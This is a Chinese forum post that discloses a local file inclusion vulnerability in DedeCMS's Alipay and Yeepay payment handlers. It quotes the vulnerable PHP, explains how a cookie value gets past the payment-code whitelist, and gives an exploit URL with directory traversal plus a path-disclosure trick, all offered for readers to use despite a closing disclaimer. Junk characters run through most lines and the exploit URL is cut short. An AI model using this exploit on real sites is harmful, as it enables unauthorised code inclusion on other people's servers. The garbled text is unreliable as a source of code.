晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)& _& K; Z3 O) T
6 x/ ^ l+ K7 s" W8 P; K& s# \
出现漏洞的两个文件为:
. _* b: d4 H7 b5 z1 Z9 V# `# uInclude/payment/alipay.php% B; a8 ~+ x& w. o/ ^7 g% X
Include/payment/yeepay.php8 u S2 L! e8 V: o! C3 i
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# \1 H) ~ S& \/ C2 T6 o
! o$ l' E# t- q4 V) Y& [Include/payment/alipay.php. h0 X s1 k, w
8 T! r. E) }* b/ g' C; U......# T: C# j/ R0 m% X& `, z9 _
function respond()7 C* X. X# C p1 _* m' i
{) X) N* [0 ^; U4 X
if (!empty($_POST))
@9 f2 Z/ j" F; Q9 r {
) j6 @. e+ o$ s foreach($_POST as $key => $data)
1 _! P' s' H1 F9 I' o {: K5 b, w3 a5 a' n1 R/ P7 P) Z' p
$_GET[$key] = $data;
" o# z# s9 j9 V8 n/ O; i' E }: H6 r- f/ B) ?- T* [
}
$ `# V$ ~" @6 x* C4 k4 M: c+ b' ` /* 引入配置文件 */
# p5 e1 `5 J) C' T8 J2 ` require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';& f, s2 x' C1 l. v
...... & W/ d1 o% y# I: e0 r# |8 ~
4 z" |/ ^5 s3 n& L; M9 [8 h) q; J; e2 ?* x2 o* I6 B1 K9 c7 Y. H; h
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。3 M+ V1 w$ S& e: |& Y
' f3 t5 C8 O9 A+ z; k! L7 fInclude/payment/yeepay.php+ _7 K2 [' n- Z4 T ]" E
- c3 C0 X/ f( C4 u
Y( y. e" d" \; E1 {5 _1 H4 |: u
+ q- b% N7 c2 A# p+ d! d" c
......
8 p* {7 `9 v2 A" b function respond()
. x3 [! U; k( S, Z {
4 B. Y: q# p. W$ Z/ M 7 Y* R% P z0 F- B+ B
/* 引入配置文件 */0 C2 ^; L0 I5 \2 N
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 p8 q) y0 D1 d7 i/ o 9 R6 L) R! O( x5 n# U8 C6 S
$p1_MerId = trim($payment['yp_account']);- d2 J' ?5 L% [, R q
$merchantKey = trim($payment['yp_key']);: Z' R6 r& t/ Q
......
% H1 A, Q# ?" q- i) `2 h ; z* F5 V/ B+ U; w, F
6 ?4 i/ f* M: ~" p1 U
* E2 C( Q; H# l0 D
3 ?' U6 _! i/ q2 D5 C& S5 A大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- S' g+ R1 F8 T4 ~$ F# F1 ~9 A3 I2 h; D' ]
这两个方法在plus/carbuyaction.php文件调用。
/ r5 h2 T+ I0 M% E. ~2 z$ \6 W* g* q2 C# ~, B" x) f/ y+ h* E+ i1 m
plus/carbuyaction.php. a9 Q6 A6 t* F+ O. x) w+ v: F/ g
8 U( X. E. ?9 ?: X* ~
......, ^+ H* k( j# T" H! V9 \( b* h
} else if ($dopost == 'return') {$ R8 W/ j) _' D$ S
$write_list = array('alipay', 'bank', 'cod', 'yeepay');6 K, f% Y( M3 E2 S; k6 M
if (in_array($code, $write_list))+ V. W8 e1 e1 B i, b! _& O' |
{* K- c" Q% {; G+ r3 s4 l# j
require_once DEDEINC.'/payment/'.$code.'.php';8 S E B8 z# i6 F4 b5 c' F
$pay = new $code;
$ n" a' T9 d5 I f! K, v $msg=$pay->respond();
4 W6 f E# U4 C2 p. o9 f3 d- B0 A ShowMsg($msg, "javascript:;", 0, 3000);7 E7 X6 N/ K+ y4 @
exit();
* i/ D' ~* K5 z4 Y7 ` } else {
: m' h3 L3 g; J e% S" F7 r exit('Error:File Type Can\'t Recognized!');4 n! A& G" b, H# ?4 I7 f6 P
}
( D r/ ^8 i5 x% j( E5 Z2 a, L) H}
) J8 t& l, m+ m1 Y...... 1 V3 U& Q/ ^+ ^1 L$ G
) m+ n$ |+ P; W/ [/ r& E
! {1 f2 x. U2 @' X
* y! f( e* c. O" p8 A
, d. ?# `8 F2 R: I# @* J8 N' C) ~; o 9 b3 a4 u f8 N$ p3 c
6 u0 s4 J" O7 V9 \ @大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。& B8 n3 p" p& a2 n Q8 d
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
@# m( G1 ^' I7 z% J% ]3 K) w( |' e
回到include/common.inc.php来看看他的机制。- {" d# D2 R* z$ `1 h/ n. x
! {- I/ u1 I$ _" W" {9 B
2 d! t9 N8 i( z9 g/ }
$ T) B& [3 P% @9 I, j6 H) r, ~......
; z/ y% H! X% i: k9 E- xforeach(Array('_GET','_POST','_COOKIE') as $_request), ?2 g* r, d! v8 M F% Y
{* M9 c1 \( _6 J" j1 O
foreach($$_request as $_k => $_v) 5 T1 B* W ?1 N s! A4 m: {( y
{
9 a0 ~1 g3 A- G: |, u+ Q5 p+ b if($_k == 'nvarname') ${$_k} = $_v;
! j- I+ M6 ^- S0 R else ${$_k} = _RunMagicQuotes($_v);
# [+ A' O! @* g1 G* ~4 Z2 | }
; v4 B W+ G. p3 s! t}, d/ E/ {: F3 d2 Z) q! `* O. S
...... " a* g9 e5 j* w6 f- q0 L% e
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:0 Y6 w3 T! t" n0 ]$ s0 m
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |